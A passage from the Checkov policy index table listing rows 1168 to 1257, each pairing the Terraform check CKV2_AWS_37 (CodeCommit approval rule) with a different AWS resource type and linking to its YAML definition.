[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1168 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_delivery_destination_policy                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1169 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_delivery_source                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1170 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_destination                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1171 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_destination_policy                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1172 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_group                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1173 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_index_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1174 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_metric_filter                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1175 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_resource_policy                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1176 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_stream                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1177 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_subscription_filter                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1178 | CKV2_AWS_37              | resource                         | aws_cloudwatch_metric_alarm                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1179 | CKV2_AWS_37              | resource                         | aws_cloudwatch_metric_stream                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1180 | CKV2_AWS_37              | resource                         | aws_cloudwatch_query_definition                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1181 | CKV2_AWS_37              | resource                         | aws_codeartifact_domain                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1182 | CKV2_AWS_37              | resource                         | aws_codeartifact_domain_permissions_policy                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1183 | CKV2_AWS_37              | resource                         | aws_codeartifact_repository                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1184 | CKV2_AWS_37              | resource                         | aws_codeartifact_repository_permissions_policy                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1185 | CKV2_AWS_37              | resource                         | aws_codebuild_fleet                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1186 | CKV2_AWS_37              | resource                         | aws_codebuild_project                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1187 | CKV2_AWS_37              | resource                         | aws_codebuild_report_group                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1188 | CKV2_AWS_37              | resource                         | aws_codebuild_resource_policy                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1189 | CKV2_AWS_37              | resource                         | aws_codebuild_source_credential                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1190 | CKV2_AWS_37              | resource                         | aws_codebuild_webhook                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1191 | CKV2_AWS_37              | resource                         | aws_codecatalyst_dev_environment                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1192 | CKV2_AWS_37              | resource                         | aws_codecatalyst_project                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1193 | CKV2_AWS_37              | resource                         | aws_codecatalyst_source_repository                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1194 | CKV2_AWS_37              | resource                         | aws_codecommit_approval_rule_template                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1195 | CKV2_AWS_37              | resource                         | aws_codecommit_approval_rule_template_association                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1196 | CKV2_AWS_37              | resource                         | aws_codecommit_repository                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1197 | CKV2_AWS_37              | resource                         | aws_codecommit_trigger                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1198 | CKV2_AWS_37              | resource                         | aws_codeconnections_connection                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1199 | CKV2_AWS_37              | resource                         | aws_codeconnections_host                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1200 | CKV2_AWS_37              | resource                         | aws_codedeploy_app                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1201 | CKV2_AWS_37              | resource                         | aws_codedeploy_deployment_config                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1202 | CKV2_AWS_37              | resource                         | aws_codedeploy_deployment_group                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1203 | CKV2_AWS_37              | resource                         | aws_codeguruprofiler_profiling_group                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1204 | CKV2_AWS_37              | resource                         | aws_codegurureviewer_repository_association                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1205 | CKV2_AWS_37              | resource                         | aws_codepipeline                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1206 | CKV2_AWS_37              | resource                         | aws_codepipeline_custom_action_type                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1207 | CKV2_AWS_37              | resource                         | aws_codepipeline_webhook                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1208 | CKV2_AWS_37              | resource                         | aws_codestarconnections_connection                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1209 | CKV2_AWS_37              | resource                         | aws_codestarconnections_host                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1210 | CKV2_AWS_37              | resource                         | aws_codestarnotifications_notification_rule                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1211 | CKV2_AWS_37              | resource                         | aws_cognito_identity_pool                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1212 | CKV2_AWS_37              | resource                         | aws_cognito_identity_pool_provider_principal_tag                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1213 | CKV2_AWS_37              | resource                         | aws_cognito_identity_pool_roles_attachment                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1214 | CKV2_AWS_37              | resource                         | aws_cognito_identity_provider                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1215 | CKV2_AWS_37              | resource                         | aws_cognito_managed_user_pool_client                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1216 | CKV2_AWS_37              | resource                         | aws_cognito_resource_server                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1217 | CKV2_AWS_37              | resource                         | aws_cognito_risk_configuration                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1218 | CKV2_AWS_37              | resource                         | aws_cognito_user                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1219 | CKV2_AWS_37              | resource                         | aws_cognito_user_group                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1220 | CKV2_AWS_37              | resource                         | aws_cognito_user_in_group                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1221 | CKV2_AWS_37              | resource                         | aws_cognito_user_pool                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1222 | CKV2_AWS_37              | resource                         | aws_cognito_user_pool_client                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1223 | CKV2_AWS_37              | resource                         | aws_cognito_user_pool_domain                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1224 | CKV2_AWS_37              | resource                         | aws_cognito_user_pool_ui_customization                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1225 | CKV2_AWS_37              | resource                         | aws_comprehend_document_classifier                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1226 | CKV2_AWS_37              | resource                         | aws_comprehend_entity_recognizer                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1227 | CKV2_AWS_37              | resource                         | aws_computeoptimizer_enrollment_status                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1228 | CKV2_AWS_37              | resource                         | aws_computeoptimizer_recommendation_preferences                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1229 | CKV2_AWS_37              | resource                         | aws_config_aggregate_authorization                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1230 | CKV2_AWS_37              | resource                         | aws_config_config_rule                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1231 | CKV2_AWS_37              | resource                         | aws_config_configuration_aggregator                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1232 | CKV2_AWS_37              | resource                         | aws_config_configuration_recorder                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1233 | CKV2_AWS_37              | resource                         | aws_config_configuration_recorder_status                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1234 | CKV2_AWS_37              | resource                         | aws_config_conformance_pack                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1235 | CKV2_AWS_37              | resource                         | aws_config_delivery_channel                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1236 | CKV2_AWS_37              | resource                         | aws_config_organization_conformance_pack                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1237 | CKV2_AWS_37              | resource                         | aws_config_organization_custom_policy_rule                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1238 | CKV2_AWS_37              | resource                         | aws_config_organization_custom_rule                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1239 | CKV2_AWS_37              | resource                         | aws_config_organization_managed_rule                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1240 | CKV2_AWS_37              | resource                         | aws_config_remediation_configuration                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1241 | CKV2_AWS_37              | resource                         | aws_config_retention_configuration                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1242 | CKV2_AWS_37              | resource                         | aws_connect_bot_association                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1243 | CKV2_AWS_37              | resource                         | aws_connect_contact_flow                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1244 | CKV2_AWS_37              | resource                         | aws_connect_contact_flow_module                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1245 | CKV2_AWS_37              | resource                         | aws_connect_hours_of_operation                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1246 | CKV2_AWS_37              | resource                         | aws_connect_instance                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1247 | CKV2_AWS_37              | resource                         | aws_connect_instance_storage_config                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1248 | CKV2_AWS_37              | resource                         | aws_connect_lambda_function_association                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1249 | CKV2_AWS_37              | resource                         | aws_connect_phone_number                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1250 | CKV2_AWS_37              | resource                         | aws_connect_queue                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1251 | CKV2_AWS_37              | resource                         | aws_connect_quick_connect                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1252 | CKV2_AWS_37              | resource                         | aws_connect_routing_profile                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1253 | CKV2_AWS_37              | resource                         | aws_connect_security_profile                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1254 | CKV2_AWS_37              | resource                         | aws_connect_user                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1255 | CKV2_AWS_37              | resource                         | aws_connect_user_hierarchy_group                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1256 | CKV2_AWS_37              | resource                         | aws_connect_user_hierarchy_structure                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1257 | CKV2_AWS_37              | resource                         | aws_connect_vocabulary                                                                           | Ensure CodeCommit associates an approval rule                                               